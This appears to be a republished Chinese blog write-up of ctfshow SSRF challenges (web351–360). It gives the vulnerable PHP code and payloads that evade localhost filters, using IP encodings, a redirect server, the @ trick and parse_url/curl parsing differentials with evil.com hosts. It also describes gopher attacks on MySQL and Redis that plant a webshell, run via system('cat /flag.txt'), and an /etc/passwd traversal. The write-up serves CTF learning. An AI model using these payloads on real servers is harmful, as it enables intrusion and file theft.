当前位置: 首页 > news >正文

SSRF(ctfshow)

web351-358

这部分的题目都是明文的,按照题目要求绕过就行了

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

本地读取flag.php

本机地址过滤绕过方法:

url=http://127.1/flag.php
url=http://sudo.cc/flag.php
url=http://0/flag.php//借助服务器
url=http://服务器ip/1.php
1.php的内容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.开头,以show结尾,用@截断
url=http://ctf.@127.0.0.1/flag.php?show

web359(打mysql)

题目是一个登录页面,修改returl可以看到可以访问输入的url,我们这里利用gopherus工具通过mysql模块生成payload

这里的_后面还要再次url编码(后端curl接收到参数之后会默认再解码一次)

post发送之后访问2.php

ls之后看到一个flag.txt 文件查看

cmd=system('cat /flag.txt');

解析

这道题的思路是通过远程连接mysql,并把一句话木马写入文件

只在以下情境下生效

  1. mysql允许远程连接

  2. root用户没有设置密码

  3. mysql用户有文件写入的权限

  4. 知道web目录的路径

  5. 存在ssrf漏洞可以触发gopher这个请求。

web360(打redis)

同理再次url编码后发送,访问shell.php,post提交cmd=system('cat /flaaag');得到flag

总结

127绕过

各种指向127.0.0.1的地址

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
url=http://sudo.cc/flag.php//借助服务器
url=http://服务器ip/1.php
1.php的内容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.开头,以show结尾,用@截断
url=http://ctf.@127.0.0.1/flag.php?show

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时会把这个协议头当成文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件

如:ssrf.php?url=httpsssss://../../../../../../etc/passwd

URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

$url = $_GET['url'];
$parsed = parse_url($url);// 检查端口是否为允许的80端口
if(isset($parsed['port']) && $parsed['port'] != 80) {die("Port not allowed");
}// 实际读取文件
readfile($url);

如果我们要读取11211端口的文件的话可以

这种差异来源于

  • parse_url() 将 @ 符号前的内容识别为认证信息

  • readfile() 的底层实现可能使用不同的 URL 解析器,可能将最后一个 @ 后的内容作为实际目标

2.利用curl和parse_url的解析差异绕过指定host

http://example.com.evil.com/
http://example.com\@evil.com/
http://example.com%[email protected]/parse_url() 解析:
host: example.com (看起来合法)cURL 实际连接:
连接到 example.com.evil.com 或 evil.com

这种差异源于:

  • 域名解析差异

parse_url() 可能不验证域名的有效性

cURL 会解析最终域名

  • 特殊字符处理:

parse_url() 可能忽略某些特殊字符

cURL 可能将某些字符解释为分隔符

  • 编码差异

URL 编码字符可能被不同方式解码

http://www.dtcms.com/a/272913.html

相关文章:

  • 【第三章-基础】Python 字典
  • 3D Surface Reconstruction with Enhanced High-Frequency Details
  • 【成长】-进步论
  • GlobalMapper用DSM转DEM
  • Zotero+zotmoov+坚果云同步
  • mysql索引底层原理
  • 智慧城市网络架构升级与SD-WAN技术应用实践
  • C++11 划分算法原理解析:is_partitioned、partition_copy与partition_point
  • 设备管理系统架构演进:从本地化部署到云端协同的 2025 新趋势
  • [Java实战]Spring Boot 3实战:使用QQ邮箱发送精美HTML邮件(四十三)
  • k8s之Helm详细讲解
  • 壁仞 k8s 兼容
  • 强化学习算法基准测试:6种算法在多智能体环境中的表现实测
  • 【oscp】超长攻击链vulhub靶机,TommyBoy1dot0
  • 开关电源和线性电源Multisim电路仿真实验汇总——硬件工程师笔记
  • 网络安全(初级)(1)
  • 【数据结构与算法】数据结构初阶:动态顺序表各种方法(接口函数)复盘与整理
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘logging’问题
  • 高并发导致重复key问题--org.springframework.dao.DuplicateKeyException
  • 【科研绘图系列】R语言绘制相关系数图
  • easyui碰到想要去除顶部栏按钮边框
  • “SRP模型+”多技术融合在生态环境脆弱性评价模型构建、时空格局演变分析与RSEI指数生态质量评价
  • brpc中的bthread_jump_fcontext汇编函数到底发生了什么?
  • three2.0
  • 鸿蒙开发文档
  • C语言易错点整理(一)
  • 开源无线硬件系列射频收发器模块 RFMC6000
  • 亚马逊运营中出单词反查功能的深度应用
  • 【fitz+PIL】PDF图片文字颜色加深
  • Jenkins邮件通知终极指南:Email Extension Plugin高级配置